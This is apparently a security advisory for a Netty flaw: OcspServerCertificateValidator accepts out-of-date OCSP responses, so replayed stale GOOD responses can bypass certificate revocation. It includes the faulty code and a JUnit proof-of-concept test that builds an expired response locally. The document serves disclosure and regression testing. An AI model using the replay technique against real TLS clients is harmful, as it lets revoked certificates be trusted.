CVE-2026-56821: Netty: Out-of-date OCSP Responses Accepted by OcspServerCertificateValidator

Summary OcspServerCertificateValidator flags an out-of-date OCSP response but does not stop processing it, so an expired GOOD response is still reported as VALID, letting an on-path attacker replay a stale GOOD response to bypass revocation of a since-revoked certificate.

Details In io.netty.handler.ssl.ocsp.OcspServerCertificateValidator#userEventTriggered the freshness check has no return, so execution falls through and a VALID OcspValidationEvent is still fired:

java if (!(current.after(response.getThisUpdate()) && current.before(response.getNextUpdate()))) { ctx.fireExceptionCaught(new IllegalStateException("OCSP Response is out-of-date")); }

Nonce validation is optional and off by default, so freshness is the only replay defense — and it is not enforced. Additionally getNextUpdate() may be null, making current.before(null) throw NullPointerException.

https://datatracker.ietf.org/doc/html/rfc6960#section-3.2

5. The time at which the status being indicated is known to be correct (thisUpdate) is sufficiently recent;

6. When available, the time at or before which newer information will be available about the status of the certificate (nextUpdate) is greater than the current time.

PoC

Add the test below to io.netty.handler.ssl.ocsp.OcspServerCertificateValidatorTest

java @Test void staleOcspResponseIsRejected() throws Exception { X509Bundle caRoot = new CertificateBuilder() .algorithm(CertificateBuilder.Algorithm.rsa2048) .subject("CN=TrustedRootCA") .setIsCertificateAuthority(true) .buildSelfSigned();

GeneralName ocspName = new GeneralName(GeneralName.uniformResourceIdentifier, "http://localhost/"); AuthorityInformationAccess aia = new AuthorityInformationAccess( new AccessDescription(AccessDescription.idadocsp, ocspName)); X509Bundle targetCert = new CertificateBuilder() .algorithm(CertificateBuilder.Algorithm.rsa2048) .subject("CN=TargetServer") .addExtensionOctetString("1.3.6.1.5.5.7.1.1", false, aia.getEncoded()) .buildIssuedBy(caRoot);

Date past = new Date(System.currentTimeMillis() - TimeUnit.DAYS.toMillis(7)); CertificateID certId = new CertificateID( new JcaDigestCalculatorProviderBuilder().build().get(CertificateID.HASHSHA1), new JcaX509CertificateHolder(caRoot.getCertificate()), targetCert.getCertificate().getSerialNumber()); BasicOCSPRespBuilder respBuilder = new BasicOCSPRespBuilder( new RespID(new JcaX509CertificateHolder(caRoot.getCertificate()).getSubject())); respBuilder.addResponse(certId, CertificateStatus.GOOD, past, past); BasicOCSPResp expiredBasicResp = respBuilder.build( new JcaContentSignerBuilder("SHA256withRSA").build(caRoot.getKeyPair().getPrivate()), new X509CertificateHolder[0], past); final byte[] responseEncoded = new OCSPRespBuilder() .build(OCSPRespBuilder.SUCCESSFUL, expiredBasicResp).getEncoded();

IoTransport defaultTransport = createDefaultTransport(); IoTransport mockTransport = IoTransport.create(defaultTransport.eventLoop(), () -> { NioSocketChannel channel = new NioSocketChannel(); channel.pipeline().addFirst(new ChannelOutboundHandlerAdapter() { @Override public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise) { promise.setSuccess(); ctx.executor().execute(() -> { ctx.pipeline().fireChannelActive(); DefaultFullHttpResponse httpResponse = new DefaultFullHttpResponse( HttpVersion.HTTP11, HttpResponseStatus.OK, Unpooled.wrappedBuffer(responseEncoded)); httpResponse.headers().set(HttpHeaderNames.CONTENTTYPE, "application/ocsp-response"); httpResponse.headers().set(HttpHeaderNames.CONTENTLENGTH, httpResponse.content().readableBytes()); ctx.pipeline().fireChannelRead(httpResponse); }); } }); return channel; }, defaultTransport.datagramChannel());

SslContext serverSslCtx = SslContextBuilder .forServer(targetCert.getKeyPair().getPrivate(), targetCert.getCertificate(), caRoot.getCertificate()) .build(); Channel serverChannel = new ServerBootstrap() .group(defaultTransport.eventLoop()) .channel(NioServerSocketChannel.class) .childHandler(new ChannelInitializer<SocketChannel>() { @Override protected void initChannel(SocketChannel ch) { ch.pipeline().addLast(serverSslCtx.newHandler(ch.alloc())); } }) .bind(0).sync().channel();

int serverPort = ((InetSocketAddress) serverChannel.localAddress()).getPort();

AtomicBoolean validEventFired = new AtomicBoolean(); AtomicReference<Throwable> caughtException = new AtomicReference<>(); CountDownLatch latch = new CountDownLatch(1);

DnsNameResolver resolver = OcspServerCertificateValidator.createDefaultResolver(mockTransport); SslContext clientSslCtx = SslContextBuilder.forClient() .trustManager(InsecureTrustManagerFactory.INSTANCE) .build(); new Bootstrap() .group(defaultTransport.eventLoop()) .channel(NioSocketChannel.class) .handler(new ChannelInitializer<SocketChannel>() { @Override protected void initChannel(SocketChannel ch) { ch.pipeline().addLast(clientSslCtx.newHandler(ch.alloc(), "127.0.0.1", serverPort)); ch.pipeline().addLast( new OcspServerCertificateValidator(true, false, mockTransport, resolver)); ch.pipeline().addLast(new ChannelInboundHandlerAdapter() { @Override public void userEventTriggered(ChannelHandlerContext ctx, Object evt) { if (evt instanceof OcspValidationEvent && ((OcspValidationEvent) evt).response().status() == OcspResponse.Status.VALID) { validEventFired.set(true); } ctx.fireUserEventTriggered(evt); }

@Override public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) { caughtException.compareAndSet(null, cause); ctx.channel().close(); latch.countDown(); } }); } }) .connect("127.0.0.1", serverPort).sync();

assertTrue(latch.await(5, TimeUnit.SECONDS)); assertFalse(validEventFired.get(), "OcspValidationEvent(VALID) must not be emitted for a stale OCSP response"); assertNotNull(caughtException.get()); assertInstanceOf(IllegalStateException.class, caughtException.get());

serverChannel.close().sync(); resolver.close(); } Impact Certificate revocation bypass via replay of an expired OCSP response. Any application using OcspServerCertificateValidator is affected; a revoked certificate can be accepted.